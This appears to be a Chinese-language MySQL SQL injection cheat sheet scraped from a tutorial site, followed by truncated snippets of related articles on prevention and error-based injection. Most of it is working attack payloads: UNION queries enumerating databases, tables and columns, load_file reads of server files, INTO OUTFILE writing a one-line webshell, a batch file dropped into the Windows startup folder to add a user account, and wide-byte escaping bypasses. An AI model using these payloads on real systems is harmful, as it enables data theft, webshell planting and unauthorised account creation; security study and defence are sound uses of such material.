sql注入之mysql
mysql函式
system_user():系統使用者名稱
user():使用者名稱
current_user:當前使用者名稱
session_user():連線資料庫的使用者名稱
database():資料庫名
version():資料庫版本
load_file():讀取本地檔案函式
@@datadir:讀取資料庫路徑
@@basedir:mysql安裝路徑
@@version_compile_os:作業系統
mysql注入利用
mysql資料庫從5.0版本之後開始有information_schema資料庫
該資料庫存放了mysql資料庫的資訊
聯合注入
使用聯合注入查詢infromation_schema中資訊時,注意使用16進製制
id=1 union select 1,2,3,4
當如上命令執行後,頁面沒有回顯上面的對應數字,可以使用如下命令
id=1 and 1=2 union select 1,2,3,4
查庫名union select 1,2,3,database()
查表名union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='庫名'
group_concat():可以將所有返回的資訊連成字串並以「,」分開
表下列名
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name ='表名'
表名列名已經知道,就可以直接查詢資料了
mysql4.0注入
類似於access資料庫的注入,進行爆破注入。
讀寫函式使用
讀路徑要為絕對路徑,要有管理員許可權
絕對路徑可以在一些報錯種查詢,沒有明確回顯的可以通過抓包看
union select 1,2,load_file('c:/www/shell.php')
union select 1,2,load_file('c:\\www\\shell.php')
union select 1,2,load_file(test)
寫寫入的內容一定要使用雙引號來引起來
寫入一句話木馬
union select 1,2,"一句話木馬" into outfile 'c:/www/shell.php'
系統命令執行
union select 1,2,"net user test test /add" into outfile 'c://documents and settings/administrator/ [開始] 選單/程式/啟動/a.bat'
如上將**寫入了開機啟動,所起開機時就會建立使用者
寬位元組注入
介紹:當某字元的大小為乙個位元組時,稱其字元為窄位元組.
當某字元的大小為兩個位元組時,稱其字元為寬位元組
所有英文預設佔乙個位元組;漢字佔兩個位元組
常見的寬位元組編碼:gb2312,gbk,gb18030,big5,shift_jis等等
後端對窄位元組進行過濾,對寬位元組不進行過濾(對單引號進行轉義使其不起作用,成為內容)
繞過思路為:讓轉義符號\消失;或讓其失去作用
php中magic_quotes_gpc配置造成寬位元組注入(php自5.3.0起廢棄,5.4.0起移除)
利用使用sqlmap
MySQL SQL注入
防止sql注入,我們需要注意以下幾個要點 1.永遠不要信任使用者的輸入。對使用者的輸入進行校驗,可以通過正規表示式,或限制長度 對單引號和雙 進行轉換等。2.永遠不要使用動態拼裝sql,可以使用引數化的sql或直接使用儲存過程進行資料查詢訪問。3.永遠不要使用管理員許可權的資料庫連線,為每個應用使用...
88952634 mysql SQL注入
一 漏洞描述 針對sql注入的攻擊行為可描述為通過在使用者可控引數中注入sql語法,破壞原有sql結構,達到編寫程式時意料之外結果的攻擊行為。二 攻擊場景及形成原因 漏洞成因可以歸結為以下兩個原因疊加造成的 1.程式編寫者在處理應用程式和資料庫互動時,使用字串拼接的方式構造sql語句。2.未對使用者...
SQL注入 報錯注入
乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...